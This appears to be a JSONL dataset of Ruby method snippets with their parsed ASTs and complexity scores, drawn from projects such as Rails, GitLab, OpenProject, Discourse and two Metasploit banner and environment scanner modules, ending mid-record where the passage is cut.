{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/custom_field_injector.rb","start_line":131,"raw_source":"def inject_value(custom_field, config)\n          case custom_field.field_format\n          when *LINK_FORMATS\n            inject_link_value(custom_field, config)\n          else\n            inject_property_value(custom_field, config)\n          end\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"inject_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_field\"]},{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"field_format\"]},{\"type\":\"when\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LINK_FORMATS\"]}]},{\"type\":\"send\",\"children\":[null,\"inject_link_value\",{\"type\":\"lvar\",\"children\":[\"custom_field\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"send\",\"children\":[null,\"inject_property_value\",{\"type\":\"lvar\",\"children\":[\"custom_field\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]}","id":"6a0813ab-8643-4ad6-b52c-7a4dc1cc4ef7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb","start_line":1239,"raw_source":"def column_for_attribute(attribute)\n          table_name = attribute.relation.name\n          schema_cache.columns_hash(table_name)[attribute.name.to_s]\n        end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"column_for_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"relation\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_cache\"]},\"columns_hash\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"name\"]},\"to_s\"]}]}]}]}","id":"51cda1a4-057a-4e14-adaf-20aa7ff44cc9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb","start_line":11,"raw_source":"def initialize\n    super(\n      'Name' => 'SAP Management Console getEnvironment',\n      'Description' => %q{\n        This module simply attempts to identify SAP Environment\n        settings through the SAP Management Console SOAP Interface.\n        },\n      'References' => [\n        [ 'URL', 'https://blog.c22.cc' ]\n      ],\n      'Author' => [ 'Chris John Riley' ],\n      'License' => MSF_LICENSE,\n      'Notes' => {\n        'Stability' => [CRASH_SAFE],\n        'SideEffects' => [],\n        'Reliability' => []\n      }\n    )\n\n    register_options(\n      [\n        Opt::RPORT(50013),\n        OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),\n      ]\n    )\n    register_autofilter_ports([ 50013 ])\n  end","complexity_score":6.05,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SAP Management Console getEnvironment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        This module simply attempts to identify SAP Environment\\n\"]},{\"type\":\"str\",\"children\":[\"        settings through the SAP Management Console SOAP Interface.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blog.c22.cc\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Chris John Riley\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[50013]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"URI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to the SAP Management Console \"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_autofilter_ports\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[50013]}]}]}]}]}","id":"6e22a8ef-db60-48b5-bd9f-7dd3f6826814"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/confluence.rb","start_line":67,"raw_source":"def validate_confluence_url_is_cloud\n        return if confluence_uri_valid?\n\n        errors.add(:confluence_url, 'URL must be to a Confluence Cloud Workspace hosted on atlassian.net')\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_confluence_url_is_cloud\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"confluence_uri_valid?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"confluence_url\"]},{\"type\":\"str\",\"children\":[\"URL must be to a Confluence Cloud Workspace hosted on atlassian.net\"]}]}]}]}","id":"8ddc2fac-8df3-4a2f-a6e6-aff476250004"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/similarity_score.rb","start_line":67,"raw_source":"def self.build_expression(search:, rules:)\n        return EXPRESSION_ON_INVALID_INPUT if search.blank? || rules.empty?\n\n        quoted_search = ApplicationRecord.connection.quote(search.to_s)\n\n        first_expression, *expressions = rules.map do |rule|\n          rule_to_arel(quoted_search, rule)\n        end\n\n        # (SIMILARITY ...) + (SIMILARITY ...)\n        additions = expressions.inject(first_expression) do |expression1, expression2|\n          Arel::Nodes::Addition.new(expression1, expression2)\n        end\n\n        score_as_numeric = Arel::Nodes::NamedFunction.new('CAST', [Arel::Nodes::Grouping.new(additions).as('numeric')])\n\n        # Rounding the score to two decimals\n        Arel::Nodes::NamedFunction.new('ROUND', [score_as_numeric, 2])\n      end","complexity_score":25.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_expression\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"search\"]},{\"type\":\"kwarg\",\"children\":[\"rules\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"empty?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EXPRESSION_ON_INVALID_INPUT\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"quoted_search\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]},\"connection\"]},\"quote\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search\"]},\"to_s\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first_expression\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expressions\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rule\"]}]},{\"type\":\"send\",\"children\":[null,\"rule_to_arel\",{\"type\":\"lvar\",\"children\":[\"quoted_search\"]},{\"type\":\"lvar\",\"children\":[\"rule\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"additions\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expressions\"]},\"inject\",{\"type\":\"lvar\",\"children\":[\"first_expression\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expression1\"]},{\"type\":\"arg\",\"children\":[\"expression2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"Addition\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"expression1\"]},{\"type\":\"lvar\",\"children\":[\"expression2\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"score_as_numeric\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"NamedFunction\"]},\"new\",{\"type\":\"str\",\"children\":[\"CAST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"Grouping\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"additions\"]}]},\"as\",{\"type\":\"str\",\"children\":[\"numeric\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"NamedFunction\"]},\"new\",{\"type\":\"str\",\"children\":[\"ROUND\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"score_as_numeric\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]}","id":"0d17cf44-b1c7-4c93-92f7-35e559fd5d94"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/scm/checkout_instructions_service.rb","start_line":119,"raw_source":"def permission\n    project = repository.project\n    if user.allowed_in_project?(:commit_access, project)\n      :readwrite\n    elsif user.allowed_in_project?(:browse_repository, project)\n      :read\n    else\n      :none\n    end\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"permission\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"project\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"commit_access\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"sym\",\"children\":[\"readwrite\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"browse_repository\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"sym\",\"children\":[\"none\"]}]}]}]}]}","id":"9a15913d-2e40-49c5-b034-bdbce78c68e6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20200516183822_create_one_time_keys.rb","start_line":4,"raw_source":"def change\n    create_table :one_time_keys do |t|\n      t.references :device, foreign_key: { on_delete: :cascade }\n      t.string :key_id, default: '', null: false, index: :unique\n      t.text :key, default: '', null: false\n      t.text :signature, default: '', null: false\n\n      t.timestamps\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"one_time_keys\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"device\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"key_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"sym\",\"children\":[\"unique\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"signature\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}]}","id":"fd533d53-ce2e-4e70-9d2c-3ca170fefff9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql/subscriptions/action_cable/mock_gitlab_schema.rb","start_line":10,"raw_source":"def find_by_gid(gid)\n            return unless gid\n\n            if gid.model_class < ApplicationRecord\n              Gitlab::Graphql::Loaders::BatchModelLoader.new(gid.model_class, gid.model_id).find\n            elsif gid.model_class.respond_to?(:lazy_find)\n              gid.model_class.lazy_find(gid.model_id)\n            else\n              gid.find\n            end\n          end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"find_by_gid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gid\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gid\"]},\"model_class\"]},\"<\",{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Loaders\"]},\"BatchModelLoader\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gid\"]},\"model_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gid\"]},\"model_id\"]}]},\"find\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gid\"]},\"model_class\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"lazy_find\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gid\"]},\"model_class\"]},\"lazy_find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gid\"]},\"model_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gid\"]},\"find\"]}]}]}]}]}","id":"95890ab0-ec95-4a11-b4d8-4cc4d17cc339"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":815,"raw_source":"def test_first_bang_present\n    assert_nothing_raised do\n      assert_equal topics(:second), Topic.where(\"title = 'The Second Topic of the day'\").first!\n    end\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_first_bang_present\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"topics\",{\"type\":\"sym\",\"children\":[\"second\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"where\",{\"type\":\"str\",\"children\":[\"title = 'The Second Topic of the day'\"]}]},\"first!\"]}]}]}]}","id":"cd9f648e-44cd-4b8c-b667-d44e77297f3a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_policy.rb","start_line":23,"raw_source":"def self.policy_modes\n    {\n      \"control\" => _(\"Control\"),\n      \"compliance\" => _(\"Compliance\")\n    }\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"policy_modes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"control\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Control\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"compliance\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Compliance\"]}]}]}]}]}","id":"0ef190d4-0830-45e0-9cc4-b8d640fa85e3"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/user_comm_screener.rb","start_line":89,"raw_source":"def ignoring_or_muting?(user_id)\n        return false if acting_user_staff?\n        pref = for_user(user_id)\n        pref.present? && pref.ignoring_or_muting?\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ignoring_or_muting?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"acting_user_staff?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"pref\",{\"type\":\"send\",\"children\":[null,\"for_user\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pref\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pref\"]},\"ignoring_or_muting?\"]}]}]}]}","id":"bde66b7d-d33d-4580-9717-ede15fb80500"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/disallow_two_factor_for_subgroups_worker.rb","start_line":16,"raw_source":"def perform(group_id)\n    begin\n      group = Group.find(group_id)\n    rescue ActiveRecord::RecordNotFound\n      return\n    end\n\n    # rubocop: disable CodeReuse/ActiveRecord\n    subgroups = group.descendants.where(require_two_factor_authentication: true) # rubocop: disable CodeReuse/ActiveRecord\n    subgroups.find_each(batch_size: 100).with_index do |subgroup, index|\n      delay = index * INTERVAL\n\n      with_context(namespace: subgroup) do\n        DisallowTwoFactorForGroupWorker.perform_in(delay, subgroup.id)\n      end\n    end\n    # rubocop: enable CodeReuse/ActiveRecord\n  end","complexity_score":17.55,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"group_id\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"return\",\"children\":[]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"subgroups\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"descendants\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"require_two_factor_authentication\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subgroups\"]},\"find_each\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subgroup\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"delay\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"*\",{\"type\":\"const\",\"children\":[null,\"INTERVAL\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"lvar\",\"children\":[\"subgroup\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DisallowTwoFactorForGroupWorker\"]},\"perform_in\",{\"type\":\"lvar\",\"children\":[\"delay\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subgroup\"]},\"id\"]}]}]}]}]}]}]}","id":"b77c08b1-5153-4673-acd0-f0661f0b9ea1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/or_filter_for_wp_mixin.rb","start_line":48,"raw_source":"def where\n    filters.map(&:where).join(\" OR \")\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filters\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" OR \"]}]}]}","id":"75ab4a55-65c0-48b7-a651-a676199955bf"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/upload.rb","start_line":662,"raw_source":"def short_url_basename\n    \"#{Upload.base62_sha1(sha1)}#{extension.present? ? \".#{extension}\" : \"\"}\"\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"short_url_basename\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Upload\"]},\"base62_sha1\",{\"type\":\"send\",\"children\":[null,\"sha1\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extension\"]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extension\"]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"b39cfbc7-c56f-4bda-b357-1880997d711b"}
{"repo_name":"forem","file_path":"./repos/forem/app/workers/articles/bust_multiple_caches_worker.rb","start_line":6,"raw_source":"def perform(article_ids)\n      Article.select(:id, :path).where(id: article_ids).find_each do |article|\n        cache_bust = EdgeCache::Bust.new\n        cache_bust.call(article.path)\n        cache_bust.call(\"#{article.path}?i=i\")\n      end\n    end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"article_ids\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"path\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"article_ids\"]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"article\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cache_bust\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EdgeCache\"]},\"Bust\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache_bust\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache_bust\"]},\"call\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\"?i=i\"]}]}]}]}]}]}","id":"65f6adde-a700-4816-ab6e-1c1d32b29024"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/smtp/smtp_version.rb","start_line":24,"raw_source":"def run_host(ip)\n    res = connect\n    banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)\n    print_good(\"#{ip}:#{rport} SMTP #{banner_sanitized}\")\n    report_service(:host => rhost, :port => rport, :name => \"smtp\", :info => banner)\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"connect\"]}]},{\"type\":\"lvasgn\",\"children\":[\"banner_sanitized\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_hex_ascii\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"banner\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" SMTP 